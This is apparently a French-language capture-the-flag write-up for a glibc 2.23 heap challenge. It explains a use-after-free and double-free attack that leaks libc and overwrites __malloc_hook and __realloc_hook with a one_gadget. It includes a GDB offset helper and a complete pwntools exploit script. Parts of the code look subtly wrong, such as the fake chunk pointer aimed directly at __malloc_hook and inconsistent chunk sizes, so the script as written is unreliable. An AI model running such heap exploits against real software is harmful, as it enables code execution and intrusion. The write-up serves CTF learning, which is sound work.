Analyse de la vulnérabilité et stratégie d'exploitation
Ce challenge CTF implémente une application de gestion de données avec une enterface de menu simple. La vulnérabilité principale est un Use-After-Free (UAF), sans fonction d'édition fournie. L'environnement utilise la libc version 2.23.
Approche technique pour contourner les protectiosn
L'exploitation suit un schéma classique de double free pour divulguer des adresses mémoire. Initialement, l'objectif est d'allouer un chunk dans la zone __malloc_hook et d'y écrire l'adresse d'un one_gadget. Cependant, tous les one_gadget disponibles échouent en raison de contraintes d'alignement de la pile.
La solution réside dans l'utilisation de la fonction realloc pour ajuster la pile avant l'exécution du one_gadget. Cette fonction contient des instructions de manipulation de pile (push/sub) qui modifient le pointeur de pile, créant ainsi une fenêtre d'opportunité.
Mécanisme de realloc et hooks
La fonction realloc interagit avec deux hooks : __malloc_hook et __realloc_hook. L'adresse de __realloc_hook se trouve juste avant __malloc_hook en mémoire. En plaçant l'adresse du one_gadget dans __realloc_hook et l'adresse de realloc + offset dans __malloc_hook, on peut contrôler l'exécution.
L'offset spécifique pour realloc doit être déterminé via débogage. Un script GDB personnalisé peut aider à calculer cet offset en cherchant des valeurs nulles dans la pile autour du pointeur courant :
def calculate_realloc_offset(condition):
current_rsp = get_rsp_value() # Suppose une fonction pour obtenir RSP
max_addr = current_rsp + condition - 0x40
min_addr = current_rsp + condition - 0x70
pointer = min_addr
count = 0
offsets = []
while pointer < max_addr:
if memory_read(pointer) == 0:
if count < 4:
offsets.append(count * 2)
elif count == 4:
offsets.append(count * 2 + 3)
elif count == 5:
offsets.append(12)
elif count == 6:
offsets.append(16)
count += 1
pointer += 8
# Vérifier une valeur spécifique à RSP+0x28
if memory_read(current_rsp + 0x28) == 0:
offsets.append(20)
return offsets
Processus d'exploitation détaillé
Étapes clés :
- Allouer un chunk de taille supérieure à 0x80 pour le placer dans un unsorted bin, puis divulguer l'adresse de la libc via une opération de lecture.
- Réallouer ce chunk avant d'attaquer la double free, car la taille initiale (0x98) pourrait interférer avec les allocations ultérieures.
- Exécuter une double free sur des chunks de taille 0x70 pour contrôler la liste libre.
- Allouer des chunks successifs pour écraser le
__malloc_hookavec l'adresse cible.
Script d'exploitation réécrit
from pwn import *
# Configuration initiale
target_process = process('./challenge')
libc = ELF('./libc.so.6')
context.arch = 'amd64'
context.log_level = 'info'
def allocate_chunk(size, name_data, info_data):
target_process.sendlineafter(b'choice:', b'1')
target_process.sendlineafter(b'size:', str(size).encode())
target_process.sendafter(b'name:', name_data)
target_process.sendafter(b'call:', info_data)
def read_chunk(index):
target_process.sendlineafter(b'choice:', b'2')
target_process.sendlineafter(b'index:', str(index).encode())
def free_chunk(index):
target_process.sendlineafter(b'choice:', b'4')
target_process.sendlineafter(b'index:', str(index).encode())
# Étape 1 : Fuite de l'adresse de la libc
allocate_chunk(0x98, b'A' * 0x98, b'Dummy')
free_chunk(0)
read_chunk(0)
leaked_addr = u64(target_process.recv(6).ljust(8, b'\x00'))
libc_base = leaked_addr - 0x3c4b78 # Offset spécifique à la version 2.23
# Étape 2 : Manipulation de la heap pour la double free
allocate_chunk(0x70, b'B' * 0x68, b'Fill')
allocate_chunk(0x68, b'C' * 0x68, b'Fill')
allocate_chunk(0x68, b'D' * 0x68, b'Fill')
free_chunk(2)
free_chunk(3)
free_chunk(2)
# Étape 3 : Écriture dans les hooks
malloc_hook_addr = libc_base + libc.symbols['__malloc_hook']
realloc_hook_addr = libc_base + libc.symbols['__realloc_hook']
realloc_func_addr = libc_base + libc.symbols['realloc']
one_gadget_addr = libc_base + 0x45216 # One gadget spécifique
# Allouer des chunks pour écraser les hooks
allocate_chunk(0x68, p64(malloc_hook_addr), b'Overwrite')
allocate_chunk(0x68, b'E' * 0x68, b'Fill')
allocate_chunk(0x68, b'F' * 0x68, b'Fill')
# Écrire le one_gadget dans realloc_hook et realloc+12 dans malloc_hook
payload = b'G' * (0x10 - 0x5) + p64(one_gadget_addr) + p64(realloc_func_addr + 12)
allocate_chunk(0x68, payload, b'Trigger')
# Déclencher l'exécution via une allocation
target_process.sendlineafter(b'choice:', b'1')
target_process.interactive()
Ce script démontre l'exploitation complète, en modfiiant les noms de variables et la structure pour plus de clarté. Les offsets doivent être ajustés en fonction de l'environnement cible.